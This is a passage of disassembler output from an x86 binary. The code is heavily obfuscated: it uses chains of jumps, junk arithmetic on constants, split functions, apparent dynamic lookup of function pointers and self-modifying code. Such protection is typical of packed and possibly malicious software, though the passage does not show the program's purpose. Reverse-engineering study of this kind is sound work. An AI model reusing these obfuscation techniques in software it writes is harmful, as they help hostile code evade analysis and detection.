loc_43E186:				; CODE XREF: sub_444681:loc_43D97Aj
		xor	edx, 0BF7286A3h
		add	edx, ebp
		call	sub_44E065

loc_43E193:				; CODE XREF: sub_44C75F-C5AAj
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

locret_43E198:				; CODE XREF: kgbikm34:0043DA02j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43E199:				; CODE XREF: sub_43EAEE+7F1Cj
		jmp	loc_43AA92
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		jmp	ds:off_41E130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_43E1A4:				; CODE XREF: sub_439D4B:loc_443DEBj
					; sub_43EF3C:loc_4469FCj ...
		jo	loc_4409A7
		pop	edx
		call	sub_441E1C

loc_43E1B0:				; CODE XREF: sub_4451CE+Cj
		jmp	loc_44DE3E
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_43E1B5:				; CODE XREF: sub_43DC9A+Dj
		call	sub_43B228
		call	sub_441313
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_43E1BF:				; CODE XREF: sub_43A4A3+904Bj
		jmp	loc_447E71
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------

loc_43E1C4:				; CODE XREF: kgbikm34:0043DE70j
		jmp	loc_448FF9
; ---------------------------------------------------------------------------
		db 0D8h, 0A7h, 2Eh
dword_43E1CC	dd 0C45409D4h, 2EC83331h, 1B6C64h, 0AB5F850Fh, 668FFFFh
					; DATA XREF: kgbikm34:004399B9o
					; sub_43C9D6+Ao
		dd 5A1AC531h, 0FFD504E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43E1E9:				; CODE XREF: sub_43E4C0-4EBCj
		push	72510928h
		pop	edx
		and	edx, 68FE4E0Eh
		jnz	loc_43B43A

loc_43E1FB:				; CODE XREF: sub_43E8C4+87BDj
		jmp	loc_43954A
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43E200:				; CODE XREF: sub_43DC42-49FAj
		jmp	loc_4421BB
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------

loc_43E205:				; CODE XREF: kgbikm34:004472D7j
		jnb	loc_44A753
		adc	ebp, 0B6A0BA03h
; START	OF FUNCTION CHUNK FOR sub_43DC19

loc_43E211:				; CODE XREF: sub_43DC19+54B4j
		add	ecx, 70339842h
		xchg	ecx, [esp+0]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_43DC19
; ---------------------------------------------------------------------------

loc_43E21F:				; CODE XREF: kgbikm34:00440E4Dj
		push	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_43E221:				; CODE XREF: sub_444002+2D59j
		jmp	loc_43CCEE
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_43E226:				; CODE XREF: sub_444051:loc_439A8Ej
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------
		db 5Fh
dword_43E22C	dd 377E738h		; DATA XREF: kgbikm34:00444105r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D164

loc_43E230:				; CODE XREF: sub_43D164+8j
		jmp	loc_44022A
; END OF FUNCTION CHUNK	FOR sub_43D164
; ---------------------------------------------------------------------------
		db 5Eh,	40h, 0ACh
dword_43E238	dd 77E75CB5h		; DATA XREF: sub_446C8B-5CB1w
					; kgbikm34:0044292Er ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBED

loc_43E23C:				; CODE XREF: sub_44BBED+5j
		jmp	loc_438B5B
; END OF FUNCTION CHUNK	FOR sub_44BBED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_43E241:				; CODE XREF: sub_44B6F1+13j
		jmp	loc_4469BE
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C74C

loc_43E246:				; CODE XREF: sub_43C74C+16j
		jmp	loc_43ABAB
; END OF FUNCTION CHUNK	FOR sub_43C74C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_43E24B:				; CODE XREF: sub_439274+19D3j
		jge	loc_440B15
		jle	loc_4375C5
		mov	edi, 95727CDDh
		adc	eax, 1A57D991h
		jmp	loc_445F45
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43E267:				; CODE XREF: sub_4471A4-9345j
		jz	loc_448235
		jmp	loc_43E80D
; END OF FUNCTION CHUNK	FOR sub_4471A4

; =============== S U B	R O U T	I N E =======================================



sub_43E272	proc near		; CODE XREF: kgbikm34:0043E033j
					; sub_43B958:loc_4480FAp

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	offset loc_43B7F5
		jmp	nullsub_31
sub_43E272	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_43E283:				; CODE XREF: sub_44DAE4:loc_43B145j
					; sub_44B47A-F11Cj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43E287:				; CODE XREF: sub_44DAE4+4j
		push	9CF4A812h
		jmp	loc_447045
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43E291:				; CODE XREF: sub_43C55C:loc_447BA4j
		cmp	dword ptr [eax-14h], 4
		jnz	loc_438804
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_438804
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44462A
		call	sub_43BF99

loc_43E2B7:				; CODE XREF: sub_43B26D+2C1Dj
		jmp	nullsub_166
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C76D

loc_43E2BC:				; CODE XREF: sub_43C76D+Aj
		jmp	loc_447367
; END OF FUNCTION CHUNK	FOR sub_43C76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_43E2C1:				; CODE XREF: sub_440F62-4C72j
		jmp	loc_4453D7
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43E2C6:				; CODE XREF: sub_43EAEE:loc_43E402j
		add	ecx, 0E0739ED5h
		and	ecx, 0A5C16FECh
		test	ecx, 10h
		jmp	loc_44A68A
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		not	ecx
		jmp	sub_4414DB
; ---------------------------------------------------------------------------

loc_43E2E4:				; CODE XREF: kgbikm34:loc_43767Fj
					; kgbikm34:00437693j
		xor	edx, 0F06C467Dh
		add	edx, ebp
		add	edx, 86ABAE08h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439A43
		jmp	loc_443E77
; ---------------------------------------------------------------------------

loc_43E303:				; CODE XREF: kgbikm34:00440076j
		jbe	loc_44C4DA

loc_43E309:				; CODE XREF: kgbikm34:loc_4448E2j
		call	sub_43D642
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43E30E:				; CODE XREF: sub_43B0B7+492Fj
		jmp	loc_43EE84
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B714

loc_43E313:				; CODE XREF: sub_44B714-112DCj
		jmp	sub_446B3C
; END OF FUNCTION CHUNK	FOR sub_44B714
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_43E318:				; CODE XREF: sub_4458AD-C9D0j
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E138
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44588F

loc_43E323:				; CODE XREF: sub_44588F+9j
		jmp	nullsub_337
; END OF FUNCTION CHUNK	FOR sub_44588F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43E328:				; CODE XREF: sub_4471D6-37A0j
		jmp	loc_440870
; END OF FUNCTION CHUNK	FOR sub_4471D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		dw 5629h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445138

loc_43E332:				; CODE XREF: sub_445138:loc_44D1A7j
					; sub_445138+807Dj
		or	edx, 32AF70D7h
		add	edx, 0BB50D54Ah
		add	edx, ebp
		add	edx, 85BFB8BBh
		jmp	loc_44DC90
; END OF FUNCTION CHUNK	FOR sub_445138
; ---------------------------------------------------------------------------

loc_43E34B:				; CODE XREF: kgbikm34:00445A83j
		xor	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_43E34D	proc near		; CODE XREF: sub_43B1D6+E508p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A3E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B5FF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043B869 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043DD95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440544 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004424C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442851 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004449F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004495A1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B09A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044BCB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044BCED SIZE 0000000B BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		mov	eax, [esp-8+arg_4]
		jmp	loc_442851
sub_43E34D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_43E359:				; CODE XREF: sub_4446F8-5DC3j
		push	offset sub_442F42
		jmp	loc_447ABF
; END OF FUNCTION CHUNK	FOR sub_4446F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_43E363:				; CODE XREF: sub_4394EB:loc_4429ECj
		rol	esi, 0Ah
		xor	edx, 694C0596h
		jmp	loc_439574
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438978

loc_43E371:				; CODE XREF: sub_438978:loc_4386D2j
		mov	ds:off_41E084, eax
		lea	eax, sub_438978
		call	sub_44C41B

loc_43E382:				; CODE XREF: kgbikm34:0044A950j
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------
		jnz	nullsub_45
		jmp	sub_43DFA4
; ---------------------------------------------------------------------------
		mov	edx, 95918C9Dh
		call	sub_4487F2
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		ror	eax, 1Ah
		jmp	loc_446524
; ---------------------------------------------------------------------------
		mov	eax, 0B9726E5Ah
		call	sub_43BF6F
		mov	ds:off_41E0FC, eax
		lea	eax, loc_44491E
		jmp	loc_443E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA80

loc_43E3C5:				; CODE XREF: sub_43CA80:loc_4418A1j
		xchg	eax, [esp+0]

loc_43E3C8:				; CODE XREF: kgbikm34:00443428j
		push	eax
		call	sub_443987
		call	sub_43FC25
		push	offset sub_43FC19
		jmp	nullsub_317
; END OF FUNCTION CHUNK	FOR sub_43CA80
; ---------------------------------------------------------------------------

loc_43E3DD:				; CODE XREF: kgbikm34:0043DA55j
		jns	loc_43F073
		sub	ebp, ecx

loc_43E3E5:				; CODE XREF: kgbikm34:00442097j
		xor	eax, 3A04770Fh
		call	sub_43BF6F
		mov	ds:dword_41E0D0, eax
		lea	eax, nullsub_236
		jmp	loc_449D45
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43E402:				; CODE XREF: sub_43EAEE+8EB7j
		jmp	loc_43E2C6
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437298

loc_43E407:				; CODE XREF: sub_437298+8j
					; kgbikm34:0043E786j
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_437298
; ---------------------------------------------------------------------------
		jz	loc_43E94A
		jmp	sub_44B1E8
; ---------------------------------------------------------------------------
		mov	eax, 8D800AAh
		call	sub_43BF6F
		push	ecx
		push	0E04BF897h
		jmp	loc_43E060
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_43E432:				; CODE XREF: sub_440E0B+29F1j
		jmp	loc_44003C
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

loc_43E437:				; CODE XREF: kgbikm34:004387CFj
		jmp	loc_439885
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	dword ptr [ebx+edi*2+0], 0
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_447B31
		push	0EA8AA636h
		jmp	loc_43790F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43E456:				; CODE XREF: sub_440443+C9Fj
		jl	loc_441DC1

loc_43E45C:				; CODE XREF: sub_44D831+10j
		jmp	loc_43FDA6
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
		pushf
		mov	edi, ecx
		jmp	loc_441DBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_43E469:				; CODE XREF: sub_447193:loc_447F7Cj
		cmp	eax, [ebp-8]
		jnz	loc_43AB42
		mov	eax, [ebp-14h]
		call	sub_44CE6B

loc_43E47A:				; CODE XREF: sub_44DAF3-16751j
		jmp	loc_443CF9
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43E47F:				; CODE XREF: sub_43B0B7+D471j
		jge	loc_44383A
		adc	ecx, ebp
		jmp	loc_44382C
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_43E48C:				; CODE XREF: kgbikm34:0043D772j
		sbb	eax, 5F4506A3h

loc_43E492:				; CODE XREF: kgbikm34:loc_43D765j
		rol	esi, 1
		cmp	esi, 4F398384h
		jmp	loc_44CF2B

; =============== S U B	R O U T	I N E =======================================



sub_43E49F	proc near		; CODE XREF: kgbikm34:00439256j
					; kgbikm34:0043E5C4p

; FUNCTION CHUNK AT 00438A8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00440287 SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi

loc_43E4A3:				; CODE XREF: kgbikm34:004378E0j
		xor	eax, 0A17DC8D0h
		ror	eax, 16h
		sub	eax, 0F8EC32B6h
		push	ebx
		jmp	loc_440287
sub_43E49F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	ecx, 13h
		jmp	sub_43A179

; =============== S U B	R O U T	I N E =======================================



sub_43E4C0	proc near		; CODE XREF: kgbikm34:004375F0p
					; kgbikm34:0043A82Cp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043954A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004395E5 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043B43A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B9FC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BB0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C807 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E1E9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043EB7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EFED SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F1DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FE18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440D46 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441983 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442671 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044267B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443200 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443EF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446BEF SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00447A49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448EB5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449094 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449781 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044991F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A0B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A6F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A76E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AB8F SIZE 00000022 BYTES

		jns	sub_44B8BF
		push	ebp
		mov	ebp, esp
		call	sub_44D043

loc_43E4CE:				; CODE XREF: sub_43A4BD:loc_439FF3j
		jnz	loc_448EB5

loc_43E4D4:				; CODE XREF: sub_442F09+33E5j
		jmp	loc_43F1DF
sub_43E4C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5A

loc_43E4D9:				; CODE XREF: sub_44AA5A-CC7Aj
		jmp	nullsub_298
; END OF FUNCTION CHUNK	FOR sub_44AA5A
; ---------------------------------------------------------------------------
		xor	ebp, edx
		pushf
		xchg	ebp, [ecx]
		sub	ebx, 6B799BA6h
		jmp	loc_448EB5
; ---------------------------------------------------------------------------
		shl	edi, 19h
		jmp	sub_44A1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_43E4F6:				; CODE XREF: sub_44A80D:loc_43718Aj
		jz	loc_444309
; END OF FUNCTION CHUNK	FOR sub_44A80D
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43E4FC:				; CODE XREF: sub_43DC42+DDD0j
		jmp	loc_438BA9
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------

loc_43E501:				; CODE XREF: kgbikm34:00445FAFj
		jmp	loc_445E56
; ---------------------------------------------------------------------------
		add	ecx, ebp
		jmp	loc_444306
; ---------------------------------------------------------------------------

loc_43E50D:				; CODE XREF: kgbikm34:0044A4B2j
		ja	loc_43A429

; =============== S U B	R O U T	I N E =======================================



sub_43E513	proc near		; CODE XREF: kgbikm34:00437811p

; FUNCTION CHUNK AT 00443524 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C93E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044CFDD SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_445A5E
		jmp	loc_443524
sub_43E513	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43E521:				; CODE XREF: kgbikm34:0043BD76j
					; kgbikm34:00443C39j
		js	loc_444C5E
		mov	eax, [esp]
		push	edx
		push	offset loc_449FAD
		jmp	locret_448090
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B9AD

loc_43E535:				; CODE XREF: sub_44B9AD-9488j
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_44465A
; END OF FUNCTION CHUNK	FOR sub_44B9AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43E542:				; CODE XREF: sub_43F5F7-7110j
		adc	edx, [esp+arg_0]
		add	esp, 8
		jmp	loc_439843
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43E54E:				; CODE XREF: sub_44DAF3-147F4j
					; sub_449D59:loc_43AC24j ...
		add	dword ptr [ebp-18h], 4
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_4482C4
		jmp	loc_4448ED
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436D8

loc_43E563:				; CODE XREF: sub_4436D8+1Ej
		mov	ebx, ebp
		pop	ebp
		rol	eax, 16h
		push	offset loc_43EE34
		jmp	nullsub_257
; END OF FUNCTION CHUNK	FOR sub_4436D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43E573:				; CODE XREF: sub_449D59-5466j
		not	ebx
		cmp	eax, edi
		jmp	loc_447387
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43E57C:				; CODE XREF: sub_44B20C:loc_44A5EAj
		add	ebp, 898418E2h
		xor	ebx, 886F5C81h
		jmp	loc_43EB87
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_43E58D	proc near		; DATA XREF: kgbikm34:004404E1o

; FUNCTION CHUNK AT 00438C79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043AA31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445952 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00445A3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C103 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044CF3E SIZE 00000014 BYTES

		push	edx
		call	sub_43A4CE
		mov	eax, 0A5559D12h
		call	sub_43BF6F
		push	edx
		push	0F3C3B10Bh
		pop	edx
		xor	edx, 25B11076h
		jmp	loc_445A3C
sub_43E58D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E5AF	proc near		; CODE XREF: sub_439587+4AF9j

; FUNCTION CHUNK AT 004497F3 SIZE 00000011 BYTES

		push	ebp
		cmp	ebp, 0BCC3CBFDh
		jmp	loc_4497F3
sub_43E5AF	endp

; ---------------------------------------------------------------------------

loc_43E5BB:				; DATA XREF: sub_4372E5:loc_437173o
		xor	eax, 41DDC3Ah
		ror	eax, 0Ah
		call	sub_43E49F

loc_43E5C9:				; CODE XREF: kgbikm34:004453C7j
		jmp	locret_449C31
; ---------------------------------------------------------------------------
		js	loc_44942F
		jmp	loc_43E133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_43E5D9:				; CODE XREF: sub_44649E-2039j
		add	eax, 28A484E8h
		add	eax, ebp
		call	sub_4418C2
		rol	edi, 6
		jmp	sub_442E25
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A38B

loc_43E5EE:				; CODE XREF: sub_44A38B-10992j
		sub	edx, 11D2B6A1h
		or	edx, 0C6D60022h
		add	edx, 384BC299h
		xchg	edx, [esp+8+var_8]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_44A38B

; =============== S U B	R O U T	I N E =======================================



sub_43E608	proc near		; CODE XREF: kgbikm34:00441FB0j
					; sub_445A0D+3p

; FUNCTION CHUNK AT 0043C3A6 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		push	offset loc_43A838
		jmp	loc_43C3A6
sub_43E608	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A2FF

loc_43E61C:				; CODE XREF: sub_43A2FF+Aj
		pop	esi
		xor	esi, 30E08DA0h
		add	esi, 4F49D715h
		xchg	esi, [esp+0]
		jmp	loc_4443E0
; END OF FUNCTION CHUNK	FOR sub_43A2FF
; ---------------------------------------------------------------------------

loc_43E631:				; CODE XREF: kgbikm34:004448DDj
		test	esi, ebp
		jmp	loc_448C30
; ---------------------------------------------------------------------------
		mov	ds:dword_41E060, eax
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BF71

; =============== S U B	R O U T	I N E =======================================



sub_43E64C	proc near		; CODE XREF: sub_402AF2+19p
					; kgbikm34:loc_447688j
					; DATA XREF: ...

; FUNCTION CHUNK AT 004447BF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446774 SIZE 00000005 BYTES

		push	edi
		push	67BCA179h
		pop	edi
		xor	edi, 0CD298FE7h
		jmp	loc_446774
sub_43E64C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_43E65E:				; CODE XREF: sub_442A46:loc_446B19j
		jz	loc_448235
		jmp	loc_447C0C
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------

loc_43E669:				; CODE XREF: kgbikm34:loc_4459EDj
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		push	0B9DFACBFh
		pop	edx
		jmp	loc_44B360
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_43E67B:				; CODE XREF: sub_43EB3F+28ADj
		sub	eax, 98AECB9Fh
		or	eax, 7726E17Ch
		and	eax, 3BA0FCD5h
		sub	eax, 71EC982Ch
		add	eax, 9D956E7Fh
		jmp	loc_43C8F7
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; ---------------------------------------------------------------------------

loc_43E69E:				; DATA XREF: sub_445D55:loc_43DDA0o
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_44B466
; ---------------------------------------------------------------------------

locret_43E6AC:				; CODE XREF: kgbikm34:0044D55Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_43E6AD:				; CODE XREF: sub_447DA2+4938j
		jmp	sub_43EB8F
; END OF FUNCTION CHUNK	FOR sub_447DA2
; ---------------------------------------------------------------------------
		jge	loc_448BB3
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43E6B8:				; CODE XREF: sub_43B0B7:loc_446615j
		jmp	sub_43A22B
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_43E6BD	proc near		; CODE XREF: kgbikm34:0044021Ap
					; kgbikm34:004468DBj

; FUNCTION CHUNK AT 00442FF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445848 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BC97 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esi, 0E544B345h
		mov	[esi], eax
		jmp	loc_442FF2
sub_43E6BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43E6CE:				; DATA XREF: sub_44368F+87FDo
		xchg	ebx, [esp]
		push	eax
		call	sub_443987
		call	sub_43FC25
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44217A

loc_43E6DF:				; CODE XREF: sub_44217A+7j
		jmp	loc_44080C
; END OF FUNCTION CHUNK	FOR sub_44217A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43E6E4:				; CODE XREF: sub_449D78-10511j
		jmp	loc_440754
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------

loc_43E6E9:				; DATA XREF: sub_43FD63+CD8Ao
		push	ecx
		jmp	loc_43720F

; =============== S U B	R O U T	I N E =======================================



sub_43E6EF	proc near		; CODE XREF: kgbikm34:0043DC70j
					; sub_440E0B+1p

; FUNCTION CHUNK AT 0044A7C3 SIZE 0000001B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		push	140F136Ch
		jmp	loc_44A7C3
sub_43E6EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43E6FE:				; CODE XREF: sub_441D2F+74F9j
		add	eax, edx
		sub	eax, ebx
		pop	ecx

loc_43E703:				; CODE XREF: sub_441D2F:loc_4486CCj
		mov	eax, 0BB0E1C2h
		push	esi
		push	offset loc_443458
		jmp	loc_438519
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440AC0

loc_43E713:				; CODE XREF: sub_440AC0+10j
		or	ebx, 0CAEB6AC5h
		add	ebx, 1157964Ah
		xchg	ebx, [esp+0]
		jmp	sub_445D55
